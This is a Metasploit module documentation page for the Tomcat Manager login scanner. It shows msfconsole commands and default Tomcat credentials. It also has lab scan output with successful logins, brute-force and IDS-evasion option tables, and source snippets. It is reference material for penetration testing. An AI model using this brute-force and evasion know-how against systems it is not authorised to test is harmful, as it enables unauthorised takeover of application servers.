Tomcat Application Manager Login Utility - Metasploit
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Module Overview
Name: Tomcat Application Manager Login Utility
Module: auxiliary/scanner/http/tomcat_mgr_login
Source code: modules/auxiliary/scanner/http/tomcat_mgr_login.rb
Disclosure date: -
Last modification time: 2021-08-31 17:10:07 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8081, 8443, 8444, 8880, 8888, 9080, 19300
List of CVEs: CVE-1999-0502, CVE-2009-3548, CVE-2009-3843, CVE-2009-4188, CVE-2009-4189, CVE-2010-0557, CVE-2010-4094
This module simply attempts to login to a Tomcat Application Manager instance using a specific user/pass.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show options
... show and set options ...
msf auxiliary(tomcat_mgr_login) > set RHOSTS ip-range
msf auxiliary(tomcat_mgr_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(tomcat_mgr_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
The auxiliary/scanner/http/tomcat_mgr_login
works for Tomcat versions that uses HTTP
authentication.
Please note that for Tomcat 7 or newer, the roles required to use the manager application were
changed from the single manager
role to the following four roles:
- manager-gui - Allows access to the HTML GUI and the status pages.
- manager-script - Allows access to the text interface and the status pages.
- manager-jmx - Allows access to the JMX and the status pages.
- manager-status - allows access to the status pages only.
Older versions of Tomcat came with default passwords enabled by default. For example:
Tomcat 4
Username | Password | Role |
---|---|---|
tomcat | tomcat | tomcat |
role1 | tomcat | role1 |
both | tomcat | tomcat, role1 |
Tomcat 5
Same as Tomcat 4
Newer Tomcat versions have these passwords commented out.
If you are using the default Metasploit credential lists, these usernames and passwords are already loaded.
Vulnerable Application
To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html.
Verification Steps
- Do:
auxiliary/scanner/http/tomcat_mgr_login
- Do:
set RHOSTS [IP]
- Set TARGETURI if necessary.
- Do:
run
Scenarios
All scenarios are run with the credentials tomcat/tomcat.
Tomcat 6
Tomcat 6.0.48 running on Ubuntu 14.04
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rport 8080
rport => 8080
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.156
rhosts => 192.168.2.156
msf auxiliary(tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.156:8080 - LOGIN FAILED: admin:admin (Incorrect)
...snip...
[-] 192.168.2.156:8080 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.156:8080 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.156:8080 - LOGIN FAILED: both:admin (Incorrect)
...snip...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Tomcat 7
Tomcat 7.0.68 running on Windows XP
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rport 8087
rport => 8087
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108
rhosts => 192.168.2.108
msf auxiliary(tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.108:8087 - LOGIN FAILED: admin:admin (Incorrect)
...snip...
[-] 192.168.2.108:8087 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.108:8087 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.108:8087 - LOGIN FAILED: both:admin (Incorrect)
...snip...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Tomcat 8
Tomcat 8.0.32 unning on Windows XP
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.2.108
rhosts => 192.168.2.108
msf auxiliary(tomcat_mgr_login) > set rport 8088
rport => 8088
msf auxiliary(tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.108:8088 - LOGIN FAILED: admin:admin (Incorrect)
...snip...
[-] 192.168.2.108:8088 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.2.108:8088 - LOGIN SUCCESSFUL: tomcat:tomcat
[-] 192.168.2.108:8088 - LOGIN FAILED: both:admin (Incorrect)
...snip...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the scanner/http/tomcat_mgr_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show info
Name: Tomcat Application Manager Login Utility
Module: auxiliary/scanner/http/tomcat_mgr_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
MC <[email protected]>
Matteo Cantoni <[email protected]>
jduck <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no The HTTP password to specify for authentication
PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI /manager/html yes URI for Manager login. Default is /manager/html
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The HTTP username to specify for authentication
USERPASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Description:
This module simply attempts to login to a Tomcat Application Manager
instance using a specific user/pass.
References:
https://nvd.nist.gov/vuln/detail/CVE-2009-3843
OSVDB (60317)
http://www.securityfocus.com/bid/37086
https://nvd.nist.gov/vuln/detail/CVE-2009-4189
OSVDB (60670)
http://www.harmonysecurity.com/blog/2009/11/hp-operations-manager-backdoor-account.html
http://www.zerodayinitiative.com/advisories/ZDI-09-085
https://nvd.nist.gov/vuln/detail/CVE-2009-4188
http://www.securityfocus.com/bid/38084
https://nvd.nist.gov/vuln/detail/CVE-2010-0557
http://www-01.ibm.com/support/docview.wss?uid=swg21419179
https://nvd.nist.gov/vuln/detail/CVE-2010-4094
http://www.zerodayinitiative.com/advisories/ZDI-10-214
https://nvd.nist.gov/vuln/detail/CVE-2009-3548
OSVDB (60176)
http://www.securityfocus.com/bid/36954
http://tomcat.apache.org/
https://nvd.nist.gov/vuln/detail/CVE-1999-0502
Module Options
This is a complete list of options available in the scanner/http/tomcat_mgr_login auxiliary module:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no The HTTP password to specify for authentication
PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI /manager/html yes URI for Manager login. Default is /manager/html
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The HTTP username to specify for authentication
USERPASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/tomcat_mgr_login auxiliary module:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show advanced
Module advanced options (auxiliary/scanner/http/tomcat_mgr_login):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22
is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be use
d.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/tomcat_mgr_login module can do:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/tomcat_mgr_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
http://<RHOST>:<RPORT><URI> - <E>
Here is a relevant code snippet related to the "http://<RHOST>:<RPORT><URI> - <E>" error message:
80: 'method' => 'GET',
81: 'username' => Rex::Text.rand_text_alpha(8)
82: }, 25)
83: http_fingerprint({ :response => res })
84: rescue ::Rex::ConnectionError => e
85: vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}")
86: return
87: end
88:
89: if not res
90: vprint_error("http://#{rhost}:#{rport}#{uri} - No response")
http://<RHOST>:<RPORT><URI> - No response
Here is a relevant code snippet related to the "http://<RHOST>:<RPORT><URI> - No response" error message:
85: vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}")
86: return
87: end
88:
89: if not res
90: vprint_error("http://#{rhost}:#{rport}#{uri} - No response")
91: return
92: end
93: if res.code != 401
94: vprint_error("http://#{rhost}:#{rport} - Authorization not requested")
95: return
http://<RHOST>:<RPORT> - Authorization not requested
Here is a relevant code snippet related to the "http://<RHOST>:<RPORT> - Authorization not requested" error message:
89: if not res
90: vprint_error("http://#{rhost}:#{rport}#{uri} - No response")
91: return
92: end
93: if res.code != 401
94: vprint_error("http://#{rhost}:#{rport} - Authorization not requested")
95: return
96: end
97:
98: cred_collection = build_credential_collection(
99: username: datastore['USERNAME'],
<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)
Here is a relevant code snippet related to the "<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)" error message:
125:
126: print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
127: else
128: invalidate_login(credential_data)
129: if result.proof
130: vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
131: else
132: vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
133: end
134: end
135: end
<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>)
Here is a relevant code snippet related to the "<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>)" error message:
127: else
128: invalidate_login(credential_data)
129: if result.proof
130: vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
131: else
132: vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
133: end
134: end
135: end
136: end
137: end
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Related Pull Requests
- #12022 Merged Pull Request: Deregister PASSWORD_SPRAY option for LoginScanner modules
- #9552 Merged Pull Request: Fix #9513, Add private_type to be able to store password for Tomcat
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7214 Merged Pull Request: Fix #7202, Make print_brute print ip:rport if available
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #4819 Merged Pull Request: Normalize HTTP LoginScanner modules
- #4737 Merged Pull Request: Preserve Context in LoginScanner socket calls, fixes #4723
- #4364 Merged Pull Request: Modules should respect bruteforce_speed again
- #3999 Merged Pull Request: Fix #3995 - Make negative messages less verbose for LoginScanner modules
- #3980 Merged Pull Request: Fix #3975 - Register TARGETURI, not URI
- #3746 Merged Pull Request: Feature/msp 11162/db all creds
- #2560 Merged Pull Request: ZDI references for reference.rb
References
- CVE-2009-3843
- OSVDB (60317)
- BID-37086
- CVE-2009-4189
- OSVDB (60670)
- http://www.harmonysecurity.com/blog/2009/11/hp-operations-manager-backdoor-account.html
- ZDI-09-085
- CVE-2009-4188
- BID-38084
- CVE-2010-0557
- http://www-01.ibm.com/support/docview.wss?uid=swg21419179
- CVE-2010-4094
- ZDI-10-214
- CVE-2009-3548
- OSVDB (60176)
- BID-36954
- http://tomcat.apache.org/
- CVE-1999-0502
See Also
Check also the following modules related to this module:
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/db2/db2_auth
- auxiliary/scanner/http/dell_idrac
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/http/http_login
- auxiliary/scanner/http/joomla_bruteforce_login
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/nntp/nntp_login
- auxiliary/scanner/oracle/oracle_login
- auxiliary/scanner/pcanywhere/pcanywhere_login
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/rservices/rexec_login
- auxiliary/scanner/rservices/rlogin_login
- auxiliary/scanner/rservices/rsh_login
- exploit/multi/ssh/sshexec
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/telnet/telnet_login
- exploit/multi/http/tomcat_mgr_deploy
- exploit/multi/http/tomcat_mgr_upload
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/winrm/winrm_login
- auxiliary/scanner/http/wordpress_xmlrpc_login
- auxiliary/scanner/http/tomcat_enum
- auxiliary/admin/http/tomcat_administration
- auxiliary/admin/http/tomcat_ghostcat
- auxiliary/admin/http/tomcat_utf8_traversal
- exploit/multi/http/tomcat_jsp_upload_bypass
- exploit/windows/http/tomcat_cgi_cmdlineargs
- post/multi/gather/tomcat_gather
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- post/windows/gather/enum_tomcat
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- MPEi/X Default FTP Accounts
- Netscape Enterprise Default Administrative Password
- Unpassworded 'guest' Account
- Unpassworded 'EZsetup' Account
- Unpassworded 'demos' Account
- Unpassworded '4Dgifts' Account
- Unpassworded 'OutOfBox' Account
- Unpassworded 'root' Account
- Unpassworded 'lp' Account
- Unpassworded 'sync' Account
Authors
- MC
- Matteo Cantoni <goony[at]nothink.org>
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
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